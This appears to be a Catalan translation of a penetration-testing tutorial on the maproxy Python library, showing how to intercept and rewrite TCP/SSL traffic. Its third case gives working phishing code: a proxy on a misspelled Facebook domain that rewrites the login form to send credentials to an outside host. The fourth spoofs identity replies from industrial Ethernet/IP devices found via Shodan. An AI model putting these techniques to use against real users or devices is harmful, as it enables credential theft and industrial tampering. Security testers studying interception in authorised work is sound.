Processar dades de xarxa sobre la marxa

La traducció de l'article es va preparar la vigília de l'inici del curs “Pentest. Pràctica de proves de penetració".

Processar dades de xarxa sobre la marxa

Resum

Una varietat de tipus d'avaluacions de seguretat, que van des de proves de penetració regulars i operacions de l'equip vermell fins a la pirateria de dispositius IoT/ICS i SCADA, impliquen treballar amb protocols de xarxa binaris, és a dir, essencialment interceptar i modificar dades de xarxa entre el client i l'objectiu. Olorar el trànsit de la xarxa no és una tasca difícil ja que disposem d'eines com Wireshark, Tcpdump o Scapy, però la modificació sembla ser una tasca més laboriosa ja que haurem de tenir algun tipus d'interfície per llegir les dades de la xarxa, filtrar-les, canviar-les. sobre la marxa i enviar-lo de nou a l'amfitrió objectiu gairebé en temps real. A més, seria ideal que aquesta eina funcionés automàticament amb múltiples connexions paral·leles i es pugui personalitzar mitjançant scripts.

Un dia vaig descobrir una eina anomenada maproxy, la documentació m'ho va deixar clar ràpidament maproxy —just el que necessito. Aquest és un servidor intermediari TCP bastant senzill, versàtil i fàcilment configurable. Vaig provar aquesta eina en diverses aplicacions bastant complexes, inclosos els dispositius ICS (que generen molts paquets) per veure si podia gestionar moltes connexions paral·leles, i l'eina va funcionar bé.

Aquest article us presentarà com processar dades de xarxa sobre la marxa mitjançant maproxy.

visió de conjunt

Eina maproxy es basa en Tornado, un marc de xarxa asíncron popular i madur a Python.

En general, pot funcionar de diverses maneres:

  • TCP:TCP – connexions TCP sense xifrar;
  • TCP:SSL и SSL:TCP - amb xifratge unidireccional;
  • SSL:SSL - xifratge bidireccional.

Ve com una biblioteca. Per començar ràpidament, podeu utilitzar fitxers d'exemple que reflecteixin el principal funcions de la biblioteca:

  • all.py
  • certificate.pem
  • logging_proxy.py
  • privatekey.pem
  • ssl2ssl.py
  • ssl2tcp.py
  • tcp2ssl.py
  • tcp2tcp.py

Cas 1: proxy bidireccional simple

Basat en tcp2tcp.py:

#!/usr/bin/env python

import tornado.ioloop
import maproxy.proxyserver

server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()

Per defecte ProxyServer() pren dos arguments: la ubicació de la connexió i el port de destinació. server.listen() pren un argument: el port per escoltar la connexió entrant.

Execució del guió:

# python tcp2tcp.py

Per executar la prova, ens connectarem a un servidor SSH local mitjançant el nostre script proxy, que escolta 2222/tcp port i es connecta a un port estàndard 22/tcp Servidors SSH:

Processar dades de xarxa sobre la marxa

El bàner de benvinguda us informa que el nostre script d'exemple ha enviat el trànsit de xarxa correctament.

Cas 2: modificació de dades

Un altre script de demostració logging_proxy.py ideal per interactuar amb dades de xarxa. Els comentaris del fitxer descriuen els mètodes de classe que podeu modificar per assolir el vostre objectiu:

Processar dades de xarxa sobre la marxa

El més interessant és aquí:

  • on_c2p_done_read – per interceptar dades en el camí del client al servidor;
  • on_p2s_done_read - invertit.

Provem de canviar el bàner SSH que el servidor torna al client:

[…]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[…]

Executeu l'script:

Processar dades de xarxa sobre la marxa

Com podeu veure, el client va ser enganyat perquè el nom del servidor SSH es va canviar a «DumnySSH».

Processar dades de xarxa sobre la marxa

Cas 3: pàgina web de pesca simple

Hi ha infinites maneres d'utilitzar aquesta eina. Aquesta vegada ens centrem en quelcom més pràctic des de les operacions de l'equip vermell. Imitem la pàgina de destinació m.facebook.com i utilitzeu un domini personalitzat amb un error ortogràfic deliberat, per exemple, m.facebok.com. Amb finalitats de demostració, suposem que el domini està registrat per nosaltres.

Establirem una connexió de xarxa sense xifrar amb el proxy de les víctimes i el flux SSL al servidor de Facebook (31.13.81.36). Perquè aquest exemple funcioni, hem de substituir la capçalera de l'amfitrió HTTP i injectar el nom d'amfitrió correcte, i també desactivarem la compressió de respostes perquè puguem accedir fàcilment als continguts. En última instància, substituirem el formulari HTML perquè ens enviïn les credencials d'inici de sessió en lloc dels servidors de Facebook:

[…]
def on_c2p_done_read(self,data):
 # replace Host header
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# disable compression
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response
     data = data.replace("action="/ca/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[…]

En resum:

Processar dades de xarxa sobre la marxa

Com podeu veure, vam poder substituir el lloc original amb èxit.

Cas 4 – Portat Ethernet/IP

He estat tractant amb dispositius i programari industrials (ICS/SCADA) durant força temps, com ara controladors programables (PLC), mòduls d'E/S, accionaments, relés, entorns de programació d'escales i molts més. Aquest cas és per a aquells que els agraden les coses industrials. Hackejar aquestes solucions implica jugar activament amb protocols de xarxa. En l'exemple següent, m'agradaria mostrar com podeu modificar el trànsit de xarxa ICS/SCADA.

Per a això necessitareu el següent:

  • Network sniffer, per exemple, Wireshark;
  • Ethernet/IP o només un dispositiu SIP, el podeu trobar mitjançant el servei Shodan;
  • El nostre guió es basa en maproxy.

Primer, mirem com és una resposta d'identificació típica de CIP (Protocol Industrial Comú):

Processar dades de xarxa sobre la marxa

La identificació del dispositiu s'aconsegueix mitjançant el protocol Ethernet/IP, que és una versió millorada del protocol Ethernet industrial que inclou protocols de control com ara CIP. Anem a canviar el nom de l'identificador ressaltat que és visible a la captura de pantalla "NI-IndComm per a Ethernet" utilitzant el nostre script de proxy. Podríem reutilitzar el guió logging_proxy.py i de la mateixa manera modificar el mètode de classe on_p2s_done_read, perquè volem que un nom d'identitat diferent sigui visible al client.

Codi:

[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response

 # Checking if we got List Identity message response
     if data[26:28] == b'x0cx00':
         print('Got response, replacing')
         data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
     super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[…]

Essencialment, vam demanar la identificació del dispositiu dues vegades, la segona resposta era l'original i la primera es va modificar sobre la marxa.

I l’últim

En la meva opinió maproxy Una eina còmoda i senzilla, que també està escrita en Python, de manera que crec que també us podeu beneficiar d'utilitzar-la. Per descomptat, hi ha eines més complexes per processar i modificar dades de xarxa, però també requereixen més atenció i solen ser creades per a un cas d'ús concret, p. Muraena, Modlishka o malvat per a casos semblants al tercer, o sofà per a l'últim cas. D'una manera o altra, amb l'ajuda maproxy podeu implementar ràpidament les vostres idees per interceptar dades de xarxa, ja que els scripts d'exemple són molt clars.

Prova de mecanismes d'autenticació a Windows AD

Font: www.habr.com

Afegeix comentari